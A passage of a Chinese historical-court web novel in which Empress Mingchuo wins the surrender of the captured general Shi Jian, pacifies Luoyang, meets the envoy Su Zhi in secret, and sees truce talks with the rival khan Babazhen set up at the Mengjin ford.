他直呼名讳,旁边那将士威胁性地又举起兵刃,石简丝毫不惧,怒目而视。明绰只轻轻抬了抬手,对那将士道:“你先出去吧。”
皇后说要单独劝劝石简,陛下是允许了的,所以那将士也不敢违抗,只是不放心地让石简“老实点儿”,这才转身走了出去。
石简见他出去了,突然道:“萧皇后胆子真大。”
明绰眉毛轻轻一挑:“石将军若想挟持本宫,最好三思。”
原来她不傻。石简揉了揉自己的手腕,什么都没说。明绰看起来十分轻松,只道:“将军坐下说吧。”
她说完,石简也没动。明绰看他一眼,又笑了:“我倒是反客为主了,这是将军自己的书房,该是将军请我坐。”
石简还是不说话,皱着眉头打量着这位萧皇后,不知道她葫芦里卖什么药。他如此戒备,明绰就不等了,自己在席上跪坐下来,随他傻站着。
石简终于开了口:“我是不会降乌兰徵的。”
“好呀,”明绰不为所动,“那一会儿将军好好跟妻儿说说话,说完就安心上路吧。”
石简脸上一块肌肉不受控制地跳了一下:“那我妻儿……”
明绰直接打断他:“将军抱着忠义的名声死就死了,还
管身后事做什么?——哦,对了。”她抬起脸来,做出一个很为难的表情,“嘶”了一声,“将军叛了陈氏一次,又叛了乌兰氏一次,这忠义之名……怕是难了。”
有那么一瞬间,石简看起来又要激动了,但只是一瞬,面上便灰了下去,他整个人心灰意冷至极似的,只道:“我已不求什么身后名,只盼大燕陛下能放过我的妻儿……”他突然跪了下来,“若皇后肯护我妻儿,石某来世——”
明绰抬起手,很不耐烦听似的:“本宫为什么要护你妻儿?”
石简让她问愣了。他也说不上来,但刚才是明绰劝住了发怒的乌兰徵,私下见他,态度又这样好,甚至能顾及到不要让他的妻儿看见他双手反绑的狼狈样子,他自然会觉得皇后心软。
可是明绰看着他,眼睛眨了眨,似是在嘲讽他的想当然:“原来将军是指望着‘妇人之仁’呢。”
“我……”
“将军想错了。你要是死了,你妻儿落到谁手里,是什么下场,没人在乎。”明绰笑得明眸皓齿,“还有一句话,将军肯定也听过,叫做最毒妇人心。我看你那小女儿确实生得挺美,不如我先杀了她,免得陛下真的看上了。”
石简还跪在地上,但猛地直起了腰:“那我就将他们都勒死了一起上路!”
明绰还是不为所动:“那也随你。”
仿佛是为了验证她的话似的,外面突然传来了女人和孩子的声音。石简牙关紧咬,似是在犹豫应该直接掐死这个女人还是夺门而出。皇后身边那个女使的声音也从窗口传进来,客客气气的:“请夫人稍候,等皇后和将军谈完了就能见到了。”
他夫人也温声道;“多谢女使。”
然后是一个小孩稚嫩的声音:“阿娘,不是说能见到父亲吗?”
他夫人压低声音安慰了两句,让他再等等。石简听着外面的声音,压抑着心里强烈的情绪,压得满脸涨红,落下了两行泪,整个人颓然地跌坐在脚跟,肩背垮塌,可怜至极。
明绰一言不发地看着他哭,在心里掂量火候。差不多了。
“为了拔拔真,值得吗?”
石简垂着头,苦笑了一声:“忠者受辱,叛者不容……此乃天道,我,我终究是明白得太晚了。”
原来是在拔拔真那里没得到重用。明绰给自己倒了杯茶,不急着说什么,只是轻轻吹了吹茶末,在心里盘算到底怎么回事。洛阳是自长安东进的最重要关口,如此险要的地方,拔拔真都交给了石简,他却仍旧觉得拔拔真“不容”他,有些不通。但是明绰转念一想石简方才对乌兰徵满怀恨意的那句“兀鲁蛮子”,就又不觉得有什么意外的了。
长安汉臣也多有此怨言。乌兰徵设兵曹,抬举尚书台的地位,萧典如今堪称位极人臣,与乙满分庭抗礼,但明绰还是听他不止一次地叹过,陛下永远都是更偏心自己的族人。他再怎么收西海诸部的兵权,也不过是在自己族人之间转手,兵曹只有监督约束之责,真正手握实权的将领没有一个是汉人,就连太后手下的段锐也被他打发去北镇那种地方了。
也许石简也经历过很多次在拔拔真和西海诸将议事的时候根本插不上话,不明白他们在说什么,笑什么,只能被动地听任调令。也许石简也和某个西海同僚有过龃龉,但拔拔真从来不会顾及他。也许在他心里,守洛阳并不是拔拔真信任他的体现,而是主君不需要他在身边的信号。
所以他后悔降了。当年就应该为陈氏战死——陈氏当然并不值得他的忠心,但至少他还能留下一个忠名。事到如今,一败涂地,归来无路,悔不当初。
石简跌坐在地下,神情太过哀怨,让明绰心中升起一丝好笑。
“君心似水遥,恩泽隔重关。”明绰摇了摇头,把茶杯放下,杯底在木案上撞出“咄”的一声,“自古文人以妇喻臣,看来所言非虚。将军这幽思哀情,我一个妇道人家都学不来。只是拔拔真也不在这里,瞧不见,更不会感念你。”
石简抬起头:“你——!”
“陛下跟拔拔真不一样,”明绰没让他说完,“他娶的是大雍的汉人公主。”
石简突然哑了嗓子,愣愣地仰头看着明绰。他夫人等得有些心焦,在窗外又问了冬青一声,石简转过头,神情焦灼不堪。明绰又刻意地让他在这静默中煎熬了片刻,然后突然站了起来。
石简果然视线跟随着她起来:“皇后……”
明绰突然从靴筒中拔|出一把匕首,那是离开长安的时候乌兰徵交给她以防万一的。石简戒备地后仰了一下,但明绰没有伤害他的意思,反而将匕首柄递进了他手中,俯身看着他。
“活路,还是绝路,将军自己选吧。”
话音未落,她已直起身,扬声道:“冬青,请夫人进来。”
书房的门应声打开,石简下意识地把那柄匕首藏在衣袍下,他的小儿子已经奔进来,一把扑进他怀中:“父亲!”
石简紧紧抱住孩子,忍不住泪如雨下。从他出城应战到失手被擒,已经足有一个多月没有见到家人。另外两个孩子也都哭着扑进他怀中,独他夫人还记得礼数,眼中满是泪,仍向皇后行礼。
“夫人不必多礼,”明绰对女眷态度极温和,朝她一笑,“我就不打扰了。”
她转身走出去,再没回头。当天晚上,乌兰徵回来说,石简降了。
“你怎么跟他说的?”乌兰徵啧啧称奇,绕着皇后前前后后地转,跟小孩一样不断追问。
“没说什么呀,”明绰把他凑得太近的脸拍开,接着在灯下看书,“他家人都在我们手上,软肋都捏在手里了,还要说什么?”
乌兰徵眉头皱得更紧,他也拿石简的家人威胁了,怎么就适得其反呢?
明绰斜了斜眼,看他那副神情,没忍住“噗嗤”一笑,然后又努力绷住,只问:“服不服?”
乌兰徵二话不说伏到她膝头:“服!”
明绰笑起来,这才肯跟他好好说话:“石简不肯降,不是因为对拔拔真多么忠心,恰恰是因为拔拔真始终不够信任他,麾下将领对他也多有排挤,他才觉得非我族类,其心必异,陛下这里也不会有什么不一样。”
乌兰徵马上就要张口,但是明绰一把捏住了他两片唇,让他闭嘴,先好好听着:“陛下这里确实也没什么不一样的。”
乌兰徵“唔”地一声,用眼神表达他的抗议——还没什么不一样?难道他这些年归汉之策,做得还不够吗?
明绰放开他的嘴唇:“陛下军中有几个汉人将领啊?”
“多了……”
“我说将军品阶以上的。”
乌兰徵便不说话了。明绰便“哼”了一声,只道:“我已经答应了石简,陛下要用他,至少也得是车骑将军。”
其实她没承诺过,但她心里是这么打算的。乌兰徵果然眉头一皱,声音低下来:“一个叛将……”
他是觉得石简是个将才,但是这人实在是没什么风骨。他觉得此人可以用一用,但也绝不会太重用。更何况他还骂得这么难听,乌兰徵根本没打算给他封将军,更别说车骑将军。
但是明绰把书一合,正色瞪着他:“陛下若要我言而无信,以后我再不替陛下做这种事了!”
乌兰徵让她说得一愣,这口气活像一开始是他请求她去劝的,她只是勉为其难地帮个忙。但是明绰说得太理所当然了,乌兰徵一时之间没有反应过来这层,下意识顺着她安抚:“好好好……”
“别敷衍我!”明绰轻轻推了他一把,“石简手下毕竟还有这么多人呢,他又不是一个人来投诚。车骑将军,说好了?”
乌兰徵非常为难地皱了皱鼻子,半晌,又道:“若他归心不诚,又反复无常,怎么办?”
明绰:“那肯定是陛下德行有亏。”
乌兰徵让她说得牙痒,他本以为皇后要保举石简,必会给他做担保,没想到她完全不按照常理出牌。可他刚要说话,明绰又倾身过来,黏黏糊糊地在他唇边亲
了一下,压低声音问:“可是陛下怎么会德行有亏呢?”
乌兰徵微微后仰了一下,脸上一副瞠目结舌的表情。他这皇后有的时候真是不输妖妃做派。于是他哭笑不得地“哈”了一声,明绰就拽着他的衣袖,晃了晃,拖长了声音又喊他:“陛下……”
乌兰徵抵挡不住了,想了想,道:“羽林军里并了太多兵马,我再分两营出来,交给石简吧。”
明绰唇边笑意更深,她就知道,乌兰徵第一个削的肯定是贺儿库莫乞。
“这可是陛下自己说的,”明绰伸出手指朝他晃了晃,“大司马可不能再骂我‘染指军政’。”
乌兰徵嗤笑了一声,一把握住了她的手指。自皇后随军开始,染指军政的责难就没有停过。只是乌兰徵不觉得有什么,乌兰氏连着两代都出了掌权太后,他心里天然就没有那么大的抵触。而且当年段知妘带着雍州军嫁过来,帮着乌兰郁弗收长安,打天下,从来没人敢说她“染指军政”。他反而觉得这话是欺负了明绰,乙满他们越是这么说,他越要护着皇后。
明绰也知道他根本不忌讳这个,与他相视一笑。冬青就在这个时候轻轻咳了一声,乌兰徵放开明绰的手,两人都转过头,看着她。
“陛下,”冬青给乌兰徵行礼,“方大人来了。”
乌兰徵应了一声,看了明绰一眼。明绰轻轻推了他一把:“你去吧。”他便起了身。冬青正好进来,伺候明绰梳洗。这石简府上虽然比不得长安宫里,但是毕竟要比在野外扎营好,至少早晚梳洗能保证,皂角头油也有好用的了。
冬青一边给明绰把发髻散开,一边听了听外间的声音,乌兰徵似乎是跟方千绪走到外面去谈了,她这才从腰间抽出了一把匕首,双手捧着,递给了明绰。
明绰只是垂眸看了一眼,毫不意外的神情:“石简来过了?”
“石将军不敢打扰,”冬青压低声音,“托他夫人送回来的。”
是个聪明人。明绰看着匕首柄上镶嵌的一颗红宝石,在烛光下几乎荡出血一样的幽暗光泽,无声地露出了一丝笑意。
第86章
燕军的主力人数庞大,大部分还是在洛阳城外扎营。石简手下归降的兵马、武器、辎重、俘获都要重新清点分配,乌兰徵为方便,还是每日宿在大营中,放心地把洛阳交给了明绰,只给她留了两千人马,维持城中的治安。
明绰从前也不知道,原来攻下一座主城以后,要做的事情有那么多。
最开始几天,百姓们深恐西海人跟以前的渠搜人、羌人一样,喜欢屠城。流言四起,都想逃难。没家产也没后路的流氓不逃,趁机在城中作乱,扰得民不聊生。明绰亲自写了抚民诏书,让人到处去街巷里反反复复地诵读,一再保证绝无屠城之事。百姓们还是人心惶惶,明绰就让人去城外大营,把石简又调了回来,让他去城楼上跟百姓们再说一遍。
其实这么多年在各个政权之间几经易手,洛阳百姓对于谁是皇帝没那么在乎,但对一直守城护卫的石将军还是有感情的。有石简出面,城中果然很快安定下来,东西两市也恢复了秩序。
但不过半个月,又有新的流言,说拔拔真要打过来了。于是又有大批的难民想往城内涌,其中不少都是当时着急忙慌想要逃难的人,出去了又觉得外面兵荒马乱,还是回来安全一些。明绰手里两千人都不够用,乌兰徵又拨了一支亲卫回来,才把这些流民都重新安顿。
流民一多,便要组织赈济粮食,眼见着天越来越冷,也得想办法让流民们头上都能有片瓦。于是明绰又指挥燕军帮百姓们把那些被石简烧毁的民居民巷都重新修缮起来。她不只是下令,还亲自去民巷之中施粥、监工,很快,萧皇后的美名就传遍了洛阳。乌兰徵处理完军营的事情回来,进城的时候百姓们甚至箪食浆壶,夹道欢迎。
“这都是萧皇后的功劳。”
方千绪边说边替她用脚拨开一截落在路中间的断木,做了个引路的动作。两边都是工兵在修缮那些被火烧毁的民居,皇后几乎每日都来,他们也都习惯了,忙活着自己的事情,并不特意停下来给皇后行礼。
明绰听见了这话,也只是笑了笑:“陛下这段日子在军营里也没闲着。”
石简虽降,但他手下也有西海人,这一批人的态度就更复杂一些。其中还有一个,是拔拔真的左右手莫舆遏的女婿,但也同时是贺儿库莫乞的表兄。听说此人到现在还被看管着,不知道陛下到底如何决断,可能准备作为战俘一路带去冀州。同时,乌兰徵还封了石简车骑将军,只是不放心让他带原来的兵马,所以又花了一番功夫把队伍都打散,重新分配,制定下一步往冀州的战略……
“我听说你跟陛下提议,要留在洛阳,不着急打冀州。”
方千绪点了点头。在长安时他就提出过“就地取粮”的策略,除了让乌兰徵抢石简的粮,还有一层意思,就是要让燕军在洛阳养兵屯田,积粮备战,才能供上一路远征的损耗。虽然现在辽西走廊被大雍控制,拔拔真打得很被动,但他还有漠北作为退路。真逼急了,他也许会饶道漠北,抄了燕军后路,虽然这条线很难走,但拔拔真毕竟还有跟贺阆王的来往,若真让他行此计,那就断了燕军粮草,有全军覆没之险。
更何况,洛阳还是不稳固。燕军打完了就走,到时候守城空虚,民心不附,说不定又要出乱子。要是还跟乌兰郁弗在的时候一样不考虑长线,打赢了就以为天下定了,那只会重蹈覆辙。
明绰一字一句地听他讲,一副若有所思的神情。好一会儿,只轻声道:“怪不得。”
方千绪问她:“怪不得什么?”
怪不得乌兰徵这次回城,对着她总有些心虚的样子。出发之前他答应过,最多一年半载他们就能回去,晔儿还不会记事。但是照方千绪这个策略,等他们能回长安,晔儿可能都已经认泰赤哈氏做母亲了。
可是明绰心里知道,方千绪说得也没有错。真正要一统北方哪里是这么容易的事情,乌兰徵平叛西海就花了三年,重要的不是打,而是打下来以后如何治理,如何安定民心。
“洛阳是通衢要道,西可望长安,东可拒燕幽。”明绰一字一字,说得很慢,“河东几个世家,离洛阳也不远了吧。”
方千绪点点头,意味深长地道:“此处是中原腹地。”
“中原”,是比长安还要更为汉人正统的地盘,是西海王公势力所不能及之处。明绰转过头,看着方千绪,方千绪也看着她。就在那一瞬间,她便听懂了方千绪所有的暗示。但是这念头只是从心里一闪而过,她又想起了晔儿,便涌起一股复杂的滋味,只好装作无事,继续往前走。
“恐怕出征前,方大人就想好了这长远之策了吧?”明绰问他,“你来求我的时候是不是就已经想好了,不会再回到长安?”
也不会再回到段知妘的掌心。即便乌兰徵班师,他也可能自请调任洛阳——又或者,他一早就想好了怂恿乌兰徵迁都。
方千绪没否认什么,只道:“陛下还是想速战速决,当日并未采纳臣的谏言。”
所以他早就知道这仗没这么快打完,那些承诺果然就是为了哄她出门的。明绰心里觉得好笑,有点儿想生气,但又其实不是那么气得起来了。一来方千绪献策在乌兰徵承诺之后,他说那些话的时候也是真心想快些平了拔拔真就回家的。二来……
明绰脚下微微一顿,环视了一圈周围。将士们支起了木架,井然有序地为百姓砌墙铺瓦。不远处就是她设立的粥棚,供流民们吃饭。再远一些,则是洛阳的市集,战争其实没有太影响到城中富绅的生活,明绰受商贾所邀,还去城中的食肆赴过宴。那搭粥棚的钱粮,也有不少是来自这些巨富。
这座古都还是满目疮痍,但是它在恢复。是明绰亲手为它止了血,上了药,绑了绷带。她无法责怪乌兰徵把她带出来。
明绰很轻地叹了口气:“可是这样,不就是把长安拱手让给段知妘了吗?”
她直呼太后名讳,语气中也毫不掩饰她的仇怨。方千绪是为数不多能听到她这般说话的人。
方千绪微微垂了眼:“雍州离长安不过一箭之地,太后的势力根深蒂固,本来就不是一朝一夕可以撼动的。既然在长安处处掣肘,何不另起炉灶?天高海阔,自有皇后另一番天地。”
明绰终于没忍住:“那我的儿子怎么办?”
“等局势稳定下来,便可命泰赤哈氏携皇长子来洛阳与皇后团聚。”
明绰冷笑一声:“段知妘可能放行吗?”
方千绪沉默了片刻,竟然说出了跟乌兰徵差不多的话:“皇长子,毕竟还不是太子。”
明绰吸了一口气,几乎是从牙缝里挤出来几个字:“方大人,不要再说这种话。”
方千绪便没有再深劝:“是。”
明绰收敛了情绪,又沿着民巷往前走了两步。方千绪始终跟在她身侧,有一会儿,又道:“不管怎么说,皇后此番抚洛阳,尽得民心。陛下以后只会越来越倚重皇后……”
明绰了然地打断他:“方大人有事求我?”
方千绪一顿,只好低头承认:“皇后明察秋毫。”
明绰继续往前走:“说吧,什么事?”
“倒不是为了臣自己,是臣有一故人……”
明绰摇摇头:“方大人的故人可真多啊。”
“故人斗胆,托臣求皇后私下一见。”方千绪只当没听见明绰那句轻微的嘲讽,“事关重大,或可保万民免于战火。”
明绰让他说得也紧张起来,怀疑地看着他:“既是这样的大事,为何要见我而不是见陛下?”
方千绪苦笑一声:“陛下若知此人到了洛阳,必欲杀之而后快。”
明绰让他说得戒备起来,又能免万民于战火,又能让乌兰徵这样起杀心的,那她只能想到拔拔真本人了。
“到底是什么人?”
方千绪还是不肯说:“皇后若愿随臣去见他,便知道了。”
明绰挑眉:“你都不肯说是谁,就要我去?”
方千绪便叹了口气,诚恳道:“此人救过臣一命,皇后若不肯见他,臣也要保他能平安出城。”
明绰听明白了,这是怕她去跟乌兰徵告状。她踌躇了片刻,皱着眉头盯着方千绪看。他被乌兰徵要求还俗,如今已经换了打扮。头发生出了半茬,他嫌不好看,戴着一个西海人习惯的毡帽,顺便还能保保暖。但身上还是汉人文士打扮,本该是有些不伦不类的,但他到底面如冠玉,还用心地配了色调,瞧着倒也挺好看的,让人很难拒绝,更何况他还这般恳切地望着她。
明绰张嘴想说什么,又闭上了,然后皱着眉头,做了个“带路吧”的手势。
方千绪二话没说就在前面带路。本来明绰出门都是要带近卫的,但今天她是到工兵这里来,不可能有人敢对皇后怎么样,所以就只带了女使。方千绪找过来跟她说话的时候,连冬青也没有跟上。她就这么跟着方千绪绕啊绕,转眼就出了修民居的工地,到市井民巷中去了。明绰越走越是悬起一颗心,都要反悔了,方千绪才终于指着一户毫不起眼的民居,说到了。
明绰看着他推开了门,里面空空荡荡,无比昏暗,主人显然早就卷了铺盖逃难去了,只留下房子还算完好,倒是让这个神秘来客方便掩盖行踪。他们的脚步声一响,里面就有利刃出鞘的声音,有个人十分戒备地在黑暗中问:“谁——哦!”他看清了来人,又收剑入鞘,“是方兄。”
“眠山,”方千绪唤他,“我把人带来了……”
明绰往里跨了一步,方千绪立刻在她身后关上了门。昏暗中的人影站起来,朝她走近了两步。明绰的眼睛终于适应了屋里的光,第一眼看见的便是那人满头华发。她正想着怎么一个老者竟会称方千绪为“兄”,那人的脸才完整露了出来。
明绰如遭电击,站在哪里动弹不得。
“你……”她努力辨认着,不敢相信自己看见了什么人。她早已不记得这个人的样子了,就是当年在建康的时候,她也只在含清宫见过他寥寥数面,“你是……?”
白发人也看着她,眼底已红了一片。然后他撩起衣袍,和十年前一样,跪下来朝她行了个礼。
“臣苏絷,见过长公主。”
第87章
苏絷被怀帝点为西域使持节那一年,方千绪是谢太尉最得意的学生。
到如今,他们都不记得当年是不是有过真正的交集。也许在谁家的宴席上打过照面,也许酒酣耳热,也曾不走心地敬过一杯酒。意气风发时,鲜衣怒马走长桥,都已经是水中月,镜中花。
再一次相见,已是冀州的战俘营。那一仗,拔拔真剿灭了世代居于辽东的孤鹿族人。他们原本已被陈氏驱赶至深山中,但陈氏被乌兰所灭,他们又死灰复燃,趁着大燕内部分裂,迅速占领了大半个辽东,直到被拔拔真灭族。
苏絷入战俘营,是拔拔真的恩宠,让他能和西海权贵一起挑选奴隶。苏絷并不赞同这种行为,但他也没有试图改变西海人长达近千年的习惯。没有被选中的俘虏会被处死,他只好挑选那些别人不要的老弱伤残,想要保住尽可能多的人命。
那个壮年男人原本已被纥骨勃斤选中,但他突然站起来,顶着鞭挞绝望地喊了一声,眠山!
明绰意外地看了方千绪一眼,他曾轻描淡写地笑谈过“死也死过几回了”,但从未告诉她,他是如何从流放地走到长安的。
屠珲部比乌兰部更早改宗信佛,拔拔真本人更是笃信虔诚。在苏絷的帮助下,方千绪重新变成了慧玄,就此逃过了被充作奴隶的命运。苏絷曾苦劝他同为拔拔真效力,无奈纥骨勃斤不肯见容。大燕段太后尊佛一事传遍天下,于是慧玄拜别了苏絷,独自一人,又踏上了去长安的路途。
再相见,便是今时今日,洛阳城中。
说到这里,斗室中陷入短暂的静默,明绰也没有主动出言打破。说了这么多,都只是铺垫。见到苏絷以后明绰就明白方千绪那句“陛下必欲杀之而后快”了,那他甘冒奇险而来,一定是有话要替拔拔真说。她在等苏絷自己开口。
苏絷让她看得有些不安。记忆里的东乡公主还是个孩子,让太尉打手心打得泪眼汪汪,眼前人却已经是大燕的皇后。虽然天色还没完全暗下,但他们不敢在屋中点灯,昏暗之中只有模糊的半边脸轮廓,苏絷一个恍惚,竟以为审视着他的是谢太后。
“眠山,”最后还是方千绪打破了沉默,“有话你就同皇后直说吧。”
苏絷点了点头:“是。”
他这才转向明绰,也跟着方千绪改了口:“皇后,若可汗愿降,大燕陛下可否高抬贵手?”
果然。明绰心里并不意外,面上便不动声色:“
是拔拔真让你来的?”
“是我自作主张。”苏絷摇了摇头,语气中竟有一丝无奈与悲戚。
“苏先生是想另投明主?”
苏絷马上昂起头:“不!可汗待我恩重如山,我绝不会叛他!”
明绰没有忍住微微皱眉。拔拔真叛出乌兰之后就自立为王,但没有学汉人称帝,还是只称可汗。苏絷这样唤他,明绰作为乌兰徵的妻子已经不舒服了,看到他对拔拔真表现出来的忠诚,就又添了一层作为大雍公主的不悦。
“我以为,”明绰的声音冷得像冰,“苏先生是受我太父之命,暗中潜于冀州。”
方千绪忙道:“是,眠山他……”
苏絷却没有让他说完,突然站起来,肃立于明绰身前,然后恭恭敬敬地双膝跪地,朝她行了一个叩拜大礼。
“长公主明鉴,大雍是我父母之国,若可汗有意剑指建康,我必一死,以报父母君恩。可是……”他顿了顿,强烈的情绪突然涌上来,像活物一般挣扎着要从他胸口爬出来,苏絷不得不深吸了两口气才在长公主面前维持住了语调的平稳,但眼泪已是潸然而下,“当年臣出使西域诸国,被囚西海,是可汗开恩,愿意放我回家。后来他明知我是受太尉之命随他北上,意在为大雍离间西海十八部,却仍旧不计前嫌,这么多年信我用我……若苏絷背恩忘义,何以再立于天地之间!”
明绰让他说得心里微颤,一时竟说不出话来。苏絷当年确实为谢郯驱使,可是时移世易,大雍现在又改变了策略,选择了乌兰徵,反过来要置拔拔真于死地。苏絷这枚棋子,又有谁还想得起来?谁又在乎过他的境遇?他说拔拔真早就已经知道他是受谢郯之命,但大雍两次出兵夹击拔拔真,苏絷却依然还好好地活着,已经证明了拔拔真对他的恩情。胜过谢郯,也胜过整个建康朝廷。
而她的第一反应,却仍是指责苏絷的不忠。
“苏先生快起来,”明绰起身来扶他,“是东乡错怪了先生……”
苏絷没有起来,仍旧跪在地上:“长公主,贺阆王拒绝了可汗的求助,大雍又重兵相迫,他已是穷途末路!我斗胆来求长公主,若你们陛下肯高抬贵手,放过可汗和屠珲部族人的性命,我一定劝可汗主动来降!”
明绰心里不禁为难,她不知道自己能不能做这个主。乌兰徵确实在很多事情上都愿意听她的谏言,但这件事不一样。阿耶的死和拔拔真的背叛是他心里一根刺,当年讨伐兀臧蛮,他是屠城而过,没有一丝仁慈。而拔拔真与他对抗得更久,仇怨也积得更深,要他放下,谈何容易?
苏絷见她沉默,突然抓住了她的裙角,又哀求道:“长公主日日施粥布善,亲眼所见百姓之苦,难道愿意看到战火蔓延,看到更多的生灵涂炭吗!”
明绰让他说得更加为难,尤其被他抓着裙角,只觉得又难堪又紧张,她倒不是怕苏絷对她做什么,但是记忆里那个博学得体的苏学士变成了这般样子,她心中也实在难过,一时也露出几分被胁迫出来的狼狈:“我……”
苏絷抓住她这一丝松动,还想说话,但方千绪突然上前一步,搭住了他的手。动作不重,但很坚决,示意他放开明绰。
“眠山,有话好好说,皇后会考虑的。”他一只手扶到苏絷肘下,“先起来。”
苏絷转头看了他一眼,似是突然回过神来,赶紧抬袖擦了擦眼泪,也道:“是我失态了,长公……咳,皇后恕罪。”
他肯先放手,明绰也暗中松了一口气,不由感激地看了方千绪一眼。想了一会儿,又问:“先生有把握,一定能说动拔拔真来降吗?”
她一句话问到了最关键的地方,苏絷冷静下来,又道:“若乌兰陛下肯承诺放过可汗的性命,我便能多几分劝动的把握。”
“不如这样。”方千绪又开了口,“我和皇后会告诉陛下,拔拔真有意和谈,眠山你也回去说一样的话。然后各自遣使,定下地方,让他们面谈一次,如此一来,你也不必替拔拔真许诺什么。”
明绰听出来了,他是在替自己解围,嘴上说的却是不必让苏絷为难。苏絷也听得很明白,这就是根本没有承诺的意思。他明显还想开口,方千绪就在他手腕上握了一下,那意思明明白白,让他不要再逼皇后了。
“眠山,”方千绪压低声音,“拔拔真为人高傲,你背着他来向大燕乞怜,小心他恼羞成怒,取你性命。”
这倒也是实情,洛阳被乌兰徵所夺,辽西要道又被袁增控制,已经激怒了拔拔真,贺阆王的拒绝更是让他彻底失去了理智,现在他谁的话也不肯听,一心要与乌兰徵拼个同归于尽。苏絷就是不忍心看他走上绝路,才自作主张。至于拔拔真知道了会不会杀他,他反而根本没有放在心上。
苏絷苦笑一声:“那也是苏某死得其所了。”
“那冀州和屠珲部的无辜百姓就要遭罪了。”方千绪不紧不慢地把他刚才拿来胁迫明绰的话丢回去,然后又耐着性子,温声道,“眠山,听我一句,万事缓则圆。”
这下轮到苏絷沉默,良久,只好叹出一口气:“也好,就依方兄所言。”
话谈到这里,便算有了一个结果。眼看着天色更暗,方千绪便建议明绰早些回去。冬青要是找不到皇后,难免要出乱子,别惊动了乌兰徵,查到这里,那什么和谈都别想了。明绰也同意,承诺了会暗中让石简来送苏絷出城,便要起身离开。可是把门推开了,突然又想起什么,脚下一顿,回头又看了苏絷一眼。
“皇兄没有忘记先生。”她突然说。
苏絷抬起头,一时没有反应过来,张了张嘴,不知道该说什么。
夕阳斜晖从半开的门里照进来,映在了苏絷的白发上。明绰当年就听萧盈说过,苏学士并非天生如此,而是流落在外九年,千难万险地回到建康,却发现怀帝早已驾崩,他独自去皇陵祭拜,一夜白头。
明绰轻声道:“大雍没有忘记先生。”
苏絷没有说话,方才已经止住的泪水又突然模糊了眼睛。明绰已经转身从门里走了出去,他却跪了下来,朝着她背影消失的地方,无声地磕了一个头。
“多谢……长公主。”
不出明绰所料,在这件事上,乌兰徵没有那么好说话了。她说话的时候很小心,没有说来的人是谁,也没有说她已经知道贺阆王拒绝了拔拔真的求助——否则,乌兰徵恐怕当场就会点兵,立刻杀去冀州。但即便如此,她只是刚提到了和谈的可能性,乌兰徵就翻了脸。
皇后不在场。她没见到那匹骕骦驹血淋淋的头颅,就这样端进来,送到病重的阿耶床前。那是阿耶当初送给拔拔真的礼物,是他们“兄弟之情”的见证。她没见到阿耶喷出来的那口血,溅得他满脸都是。八年了,他仍旧被这些血点子灼痛。被背叛的血,只能用背叛者的血来洗。
皇后也不会懂。他像一头刚把伤口舔好的野兽
,又重新看见了曾经刺伤他的那柄长矛。因为这场背叛就是她的母国策划的,因为在这场背叛之后,她的母后立刻下令出兵,生生地从他手里剜走了三县之地,逼迫他服软。建康来使趾高气昂,甚至要他自废帝位,重新戴上那个屈辱的“长安王”之衔。
自从明绰被立为皇后,他从来没有再提过这些事。明绰好像突然不认识他了,他居然这样高大,明绰已经好久没有注意到这件事,可是此刻他站在面前,映到墙上的身影被愤怒拉得更长,几乎填满了整个空间。她便不再说了,垂下头,落了一行眼泪。
乌兰徵也停下来,看着她。他脸上有一种茫然的神情,好像他自己也不知道自己这是怎么了。明绰的肩膀颤了颤,眼泪断了线似的,直往下落,却不肯发出声音。他无声地俯身下来,揽住了她的肩膀。明绰转过来,投进了他怀中。
“你别生气,”她哭起来,“我当年不知道……”
“是我不好。”乌兰徵抱紧她,叹息似的,“对不起……”
明绰把脸埋在他颈窝里,摇了摇头,眼泪落得更凶。她不知道那时候建康还派了使者,她也不知道他们曾经想强迫他继续做长安王。她甚至还清楚记得萧盈与太父商议“纵横捭阖策”的那一天,记得案上的茶袅袅飘出的热气,记得太父眼角的纹路,和萧盈身上若有若无的药香。她童年里的回忆是这样不疾不徐,所以她看不到他们三言两语的背后有多少遥远的鲜血。
乌兰徵侧过脸,轻轻吻了吻她的颊侧,又道:“我不是怪你。”
明绰无声地点了点头,乌兰徵仔细地端详着她的神色,确认什么似的,又握紧她的手,轻声道:“我爱你。”
所以他已经选择了遗忘大雍曾经给他的耻辱。但拔拔真,他绝不会原谅。
明绰看了他一会儿,主动环住了他的脖子,紧紧地抱住了他。他的头发覆在她眼前,让她又想起苏絷的一头白发。但她闭上眼睛,努力让自己忘掉。
她会给萧盈写信,她会把苏絷送回建康。只能做到这样了。拔拔真又不关她的事,他给她的丈夫带来了这么多的痛苦,她凭什么还要保他的命?
“不战而屈人之兵,善之善者也。”明绰听见自己的声音,冷酷得像是另一个人。乌兰徵跟她分开一些,眼神极深地看着她。
明绰握住了他的手,感到每说一个字,心里就更坚定了一分。
“可是拔拔真以为陛下愿意谈,不是吗?”
第88章
兴和七年末,驻兵洛阳的乌兰徵和在邺城的拔拔真开始了一场漫长的谈判。两人都非常戒备,一个不肯去洛阳,另一个也不肯去邺城,都怕对方有埋伏;但一个就想在洛阳,另一个又就想在邺城,其实就是都想设埋伏。所以僵持不下,谈得十分艰难。乌兰徵几次没有了耐心,都被皇后劝了下来。
现在不是打不打得过的问题,明绰想的还是避免交战,减少损耗,存惜民力。
最后,还是在皇后的积极干预下,两边最终择定了孟津作为谈判地点。孟津也是黄河渡口,两边各驻一岸,避免被伏。等到最终两边都同意在孟津见面,已是兴和八年的二月。
此时燕军已经提前抵达孟津,在黄河建浮桥,方便拔拔真带人马渡河。河对岸就是怀县,天气好的时候,甚至能看见大军。乌兰徵估算了一下,拔拔真带的人还真是不少。相比之下,燕军的主力被乙满带去了虎牢关,以防拔拔真调虎离山,反而是主帅这里没什么人。
见面之前,拔拔真先派人渡河,来跟乌兰徵讨要莫舆遏那个在洛阳被俘的女婿。乌兰徵非常好说话,一口答应了把人还回去,还说明日是他的生辰,想请拔拔真把纥骨勃斤、莫舆遏两个老叔叔都带上,还有他的儿子拔拔兀舒骨,也是与乌兰徵一起长大的兄弟,多年不见了,不如一起过来喝杯酒。
他这封口信温情得多,使者回去也说,孟津兵马不多。拔拔真一听说他甚至带上了他的皇后,便觉得自己若是带多了人,倒是露了怯,让乌兰徵笑话。次日一早,果然只带了百骑,通过了燕军铺设的河上浮桥,抵达孟津。
明绰与乌兰徵并辔,在渡口迎接。
